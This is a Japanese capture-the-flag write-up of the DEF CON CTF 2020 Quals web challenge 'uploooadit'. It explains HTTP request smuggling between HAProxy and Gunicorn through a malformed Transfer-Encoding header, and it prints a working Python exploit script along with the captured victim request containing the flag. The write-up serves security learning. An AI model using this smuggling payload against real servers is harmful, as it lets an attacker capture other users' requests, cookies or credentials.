DEF CON CTF 2020 Quals Writeup - uploooadit
今年もTeam EnuのメンバーとしてDEF CON CTFの予選に出てきました。uploooaditとpoootを解いたので久しぶりにwriteupを書いていく。
問題の調査
問題として問題サーバーのURLとサーバーで動いているソースコードが2つ与えられる。
https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/app.py
https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/store.py
与えられたコードを読むと、このサーバーには2つの機能があることがわかる。
- ファイル保存機能:
/files/
にファイルをPOSTするとファイルを保存できる。このとき、リクエストヘッダに指定したX-guid
をキーとして保存される。 - ファイル読み出し機能:
/files/<guid>
からファイルをGETできる。
2つのソースコードを読む限り、このWebアプリには脆弱性があるようには見えない。
サーバーにリクエストを投げてみるとレスポンスに以下の情報が含まれていることに気づく。
Server: gunicorn/20.0.0 Via: haproxy
Webアプリに脆弱性がないとなるとより低いレイヤー(つまりミドルウェア)での攻撃である可能性があると考え、HTTP request smuggling*1関連の可能性があると思った。さらにGunicorn 20.0.1のChangelogに次の一文があるのを見つけ、request smugglingを使う蓋然性がかなり高いと感じた。
fixed chunked encoding support to prevent any request smuggling
HTTP request smuggling
HAProxyとGunicornの組み合わせでrequest smugglingをググった結果、次のページが見つかった。
一言で言うと、この問題は特定のバージョンのHAProxyとGunicornの組み合わせた場合、それぞれのサーバーのリクエストの解釈の方法の違いからrequest smugglingを発生させ、他の人のリクエストを操作できてしまう。というもの。
具体的には[ブラウザ] -> [HAProxy] -> [Gunicorn]という構成において、攻撃者が次のようなリクエストを行うとする。
POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 43 Transfer-Encoding: [\x0b]chunked 1 Z 0 GET /foobar HTTP/1.1 X-Foo: AAA
するとHAProxyは(本来ならばTransfer-Encodingを優先すべきだが\x0bという文字が含まれることによりリクエストがchunkedであると解釈できず)Content-Length: 43のリクエストとして解釈する。また、攻撃者のリクエストの直後に被害者が次のようなリクエストを行うとする。
GET / HTTP/1.1 Host: 127.0.0.1
するとバックエンドのGunicornには、コネクションが使いまわされている場合、次のリクエストが送信されることになる。
POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 43 Transfer-Encoding: [\x0b]chunked 1 Z 0 GET /foobar HTTP/1.1 X-Foo: AAAGET / HTTP/1.1 Host: 127.0.0.1
Gunicornは最初のリクエストをTransfer-Encoding: chunkedとして解釈するため、2つのリクエストはそれぞれ次のように解釈されることになる。
POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 43 Transfer-Encoding: [\x0b]chunked 1 Z 0
GET /foobar HTTP/1.1 X-Foo: AAAGET / HTTP/1.1 Host: 127.0.0.1
被害者は本来/
に対してリクエストをしたかったのに/foobar
に対してリクエストをしたことになっている。
解法
request smugglingを使うことにより、他人にリクエストを操作できることが分かった。これにより、今回の問題においては他人のリクエストをサーバーにファイルとして保存させることができる。これを読み出すことで他人のリクエスト内容を覗き見ることができる。botか何かが定期的にflagを書き込んでいると仮定して次のスクリプトを回し続けることで https://uploooadit.oooverflow.io/files/00000000-0000-0000-0005-00000000f1a8にリクエストが保存されるので、この内容を監視することでflagを入手することができた。
import socket import ssl import timeout_decorator @timeout_decorator.timeout(0.7) def main(): HOST = "uploooadit.oooverflow.io" PORT = 443 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setblocking(1) sock.connect((HOST, PORT)) context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) context.verify_mode = ssl.CERT_NONE if ssl.HAS_SNI: secure_sock = context.wrap_socket(sock, server_side=False, server_hostname=HOST) else: secure_sock = context.wrap_socket(sock, server_side=False) req = """POST /files/ HTTP/1.1 Host: uploooadit.oooverflow.io Content-Type: text/plain X-guid: 00000000-0000-0000-0003-00000000f1a8 Content-Length: 162 Transfer-Encoding: \x0cchunked 1 A 0 POST /files/ HTTP/1.1 Host: uploooadit.oooverflow.io Content-Type: text/plain X-guid: 00000000-0000-0000-0005-00000000f1a8 Content-Length: 386 a""" print(req.replace("\n", "\r\n").encode()) secure_sock.write(req.replace("\n", "\r\n").encode()) print(secure_sock.read(1024).decode()) secure_sock.close() sock.close() if __name__ == "__main__": main()
書き込まれたファイル:
aPOST /files/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: invoker Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/plain X-guid: 15db6493-44b5-4c9e-887b-82e639a25900 Content-Length: 152 X-Forwarded-For: 127.0.0.1 Congratulations! OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}
ちなみにContent-Length: 386
は小さすぎても大きすぎてもダメなので小さい値から徐々に上げていくことでflagを全て読み出すことができる(大きすぎるとリクエストが失敗してファイルに何も書き込まれない)。
その他
問題のソースコードと作者による解説動画が公開されている(作者の想定通りの解法だった模様)。
GitHub - o-o-overflow/dc2020q-uploooadit: HTTP Desync Attack
*1:この記事が非常に分かりやすい: https://portswigger.net/web-security/request-smuggling